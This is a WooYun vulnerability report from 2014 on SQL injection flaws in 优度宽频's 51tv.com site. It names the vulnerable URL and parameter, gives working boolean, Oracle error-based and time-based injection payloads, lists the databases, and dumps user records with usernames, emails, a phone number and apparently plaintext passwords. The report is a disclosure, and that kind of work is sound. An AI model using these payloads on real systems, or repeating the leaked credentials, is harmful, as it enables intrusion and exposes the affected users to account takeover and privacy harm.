当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-083427

漏洞标题:优度宽频多处注入可拖库(泄露大量用户信息)

相关厂商:优度宽频

漏洞作者: JulyTornado

提交时间:2014-11-16 22:14

修复时间:2014-12-31 22:16

公开时间:2014-12-31 22:16

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:18

漏洞状态:未联系到厂商或者厂商积极忽略

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-11-16: 积极联系厂商并且等待厂商认领中,细节不对外公开
2014-12-31: 厂商已经主动忽略漏洞,细节向公众公开

简要描述:

上海优度宽带科技有限公司 客服热线:021-62650919

详细说明:

GET注入点:
http://www.51tv.com/51tv/dtl.jsp?id=757573754
问题信息:

Place: GET
Parameter: id
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: id=757573754 AND 5100=5100
Type: error-based
Title: Oracle AND error-based - WHERE or HAVING clause (XMLType)
Payload: id=757573754 AND 7101=(SELECT UPPER(XMLType(CHR(60)||CHR(58)||CHR(113)||CHR(120)||CHR(114)||CHR(122)||CHR(113)||(SELECT (CASE WHEN (7101=7101) THEN 1 ELSE 0 END) FROM DUAL)||CHR(113)||CHR(105)||CHR(98)||CHR(101)||CHR(113)||CHR(62))) FROM DUAL)
Type: AND/OR time-based blind
Title: Oracle AND time-based blind
Payload: id=757573754 AND 1586=DBMS_PIPE.RECEIVE_MESSAGE(CHR(69)||CHR(83)||CHR(77)||CHR(73),5)


列库:

available databases [24]:
[*] CDMA
[*] CTXSYS
[*] DBSNMP
[*] DMSYS
[*] DRMCENTER
[*] EXFSYS
[*] GGATE
[*] MDSYS
[*] MEDIA_PREVIEW
[*] MEDIANEW
[*] MEDIATEST
[*] OLAPSYS
[*] ORDSYS
[*] OUTLN
[*] PERFSTAT
[*] RMAN
[*] STRMADMIN
[*] SYS
[*] SYSMAN
[*] SYSTEM
[*] TSMSYS
[*] VCSUSER
[*] WMSYS
[*] XDB


当前库有700多个表,就不一一列举了,只能抽样证明危害。。。

sql注入.png


另一处post:

盲注1.png


盲注2.png


盲注3.png


盲注4.png

漏洞证明:

部分用户信息:

+-----------+-------------+-------+-------------------------------+--------------+--------------+----------+--------------+------------+----------------------------------+-------------+
| ID | TEL | ADMIN | EMAIL | USERNAME | PASSWORD | ISACTIVE | LINKERNAME | CREATETIME | CONFIRMCODE | PARTNERCODE |
+-----------+-------------+-------+-------------------------------+--------------+--------------+----------+--------------+------------+----------------------------------+-------------+
| | NULL | 1 | NULL | | viewtoo.51 | 1 | NULL | NULL | | admin |
| 125458253 | NULL | 0 | [email protected] | larfone | larfone | 0 | larfone | 27-7月 -11 | db6034bcddc842b7af12b787d0a7d576 | 100541 |
| 125448814 | NULL | | [email protected] | imolo | imolo | 0 | imolo | 27-7月 -11 | | |
| 126265896 | | | [email protected] | | kuwotingting | 0 | kuwotingting | 02-8月 -11 | | |
| | NULL | 0 | [email protected] | wali | wali | 0 | wali | | 6e2ffa07324346988d6f514d70b5ef74 | 100682 |
| 132041108 | NULL | 0 | [email protected] | 5151 | 5151 | | | | 3ea89ca29c1746518718914989d485ce | 100722 |
| 132914363 | | 0 | | shoujitaonan | shoujitaonan | 0 | shoujitaonan | 30-8月 -11 | b4e3490fd28947bc8bec578fb00574a3 | |
| 133475494 | NULL | 0 | [email protected] | ecook | ecook | 0 | | | | 100781 |
| 136491905 | NULL | 0 | [email protected] | huozhong | huozhong | | huozhong | 14-9月 -11 | 6a4e0a5177de49e189f954b9be5548d7 | |
| 137613569 | NULL | 0 | [email protected] | koudai | | 0 | | 16-9月 -11 | e34ca636fb044f3ab68dd6519a68ae94 | 100841 |
| 138458812 | 15802130309 | 0 | [email protected] | mx | | 1 | | 20-9月 -11 | NULL | 100890 |
| | NULL | 0 | | xingzuodashi | xingzuodashi | 0 | xingzuodashi | 23-9月 -11 | fdf360b4c2f540e181413d35c93c04a7 | 100961 |
| 140761107 | NULL | 0 | [email protected] | | | 0 | | | | 101021 |
| 154600599 | NULL | 0 | [email protected] | meilishuo | meilishuo | 0 | 美丽说 | 15-11月-11 | 8e93ac24c9d740a0a58c1c6759152dab | 101362 |
| | NULL | 0 | [email protected] | aidongman | | 0 | aidongman | 22-11月-11 | 7168a7f990344b53b6223be494bfe96b | 101462 |
| 158921196 | NULL | 0 | [email protected] | app111 | app111 | 0 | | | ac4fbab9fd0044bc98859a72a141c3e2 | 101561 |
| 158926615 | NULL | | [email protected] | | shucheng | 0 | 书城 | 01-12月-11 | eaa4838b991a4d47b508dcc528b240e4 | |
| | NULL | 0 | [email protected] | | youapp | | 有app | | 5dca2c1c58634b81bffa2f7fdc1da44e | 101821 |
| 165541973 | NULL | 0 | [email protected] | | laidiantong | 0 | laidiantong | | | 101861 |
| 168850171 | NULL | 0 | [email protected] | zhujianqiang | zhujianqiang | 0 | zhujianqiang | 09-1月 -12 | df803431c06442398196d234e62ba944 | 101921 |


Database: MEDIANEW
Table: D_OPLUS_USER_BASE
[15 entries]
+--------+------------+------+---------+---------+----------+--------------+----------+------------------+------------+--------------+------------+------------+------------+-------------+--------------+---------------+---------------+----------------+
| ID | FAVORITEID | TAG | POINT | HEADPIC | USERNAME | USERCODE | NICKNAME | ACOUNTNUM | FORWARDNUM | PASSPORTNO | BINDSTATUS | SOCIALCODE | ACOUNTNAME | JELLYAMOUNT | LASTGAMETIME | LASTVISITTIME | LASTLOGINTIME | FIRSTLOGINTIME |
+--------+------------+------+---------+---------+----------+--------------+----------+------------------+------------+--------------+------------+------------+------------+-------------+--------------+---------------+---------------+----------------+
| 130648 | NULL | 1 | | NULL | no | nfrcsac | no | NULL | | nfrcsac | 0 | Oplus | | 195 | NULL | NULL | NULL | NULL |
| | | 0 | 3416116 | NULL | NULL | guomingzhang | 你大爷 | [email protected] | 373 | guomingzhang | 0 | Oplus | 张国明test | | 13-8月 -10 | NULL | NULL | |
| 130887 | | 0 | 940700 | NULL | NULL | | NULL | NULL | 100 | runooqiu | 0 | Oplus | NULL | 76300 | | NULL | | 16-3月 -10 |
| 131064 | NULL | | | NULL | | mason003 | | NULL | 0 | mason003 | | Oplus | NULL | 198 | NULL | NULL | NULL | NULL |
| 131090 | | 1 | 0 | | no | Sweetfairy | | | 0 | Sweetfairy | 0 | Oplus | NULL | 79 | NULL | NULL | NULL | |
| | | 0 | 2500565 | NULL | | anaxu | NULL | NULL | 1027 | | 0 | Oplus | | | 13-8月 -10 | NULL | | 16-3月 -10 |
| 132151 | NULL | 1 | | NULL | no | baleni51 | no | NULL | | baleni51 | 0 | | | 190 | NULL | NULL | NULL | NULL |
| 132178 | | 1 | 0 | NULL | no | | no | NULL | 0 | guwenbei | 0 | Oplus | | 160 | | NULL | NULL | NULL |
| 132339 | | 0 | | NULL | | kelly36806 | NULL | NULL | | kelly36806 | 0 | Oplus | NULL | 10 | 02-3月 -10 | NULL | NULL | NULL |
| 132352 | NULL | 1 | 0 | NULL | | youdu200 | | | 0 | youdu200 | | | NULL | 30 | NULL | NULL | NULL | NULL |
| 132631 | | 1 | 0 | NULL | no | | no | NULL | 0 | lululei1 | 0 | Oplus | NULL | 140 | NULL | NULL | NULL | NULL |
| 132717 | | 1 | 0 | NULL | no | shaxye | no | NULL | 0 | shaxye | 0 | | NULL | 180 | NULL | NULL | | NULL |
| | | 0 | | | NULL | jimmycctv | 众神之怒 | NULL | | jimmycctv | 0 | Oplus | NULL | 140 | | NULL | NULL | 29-4月 -10 |
| 136415 | NULL | | 0 | | no | lbc627281823 | | | 0 | lbc627281823 | 0 | Oplus | NULL | | NULL | NULL | NULL | NULL |
| 166268 | NULL | 1 | 0 | NULL | no | kk1980 | | | 0 | kk1980 | 0 | Oplus | NULL | 170 | | NULL | NULL | NULL |
+--------+------------+------+---------+---------+----------+--------------+----------+------------------+------------+--------------+------------+---

修复方案:

过滤url及post输入中的参数,密码不要使用明文保存

版权声明:转载请注明来源 JulyTornado@乌云


漏洞回应

厂商回应:

未能联系到厂商或者厂商积极拒绝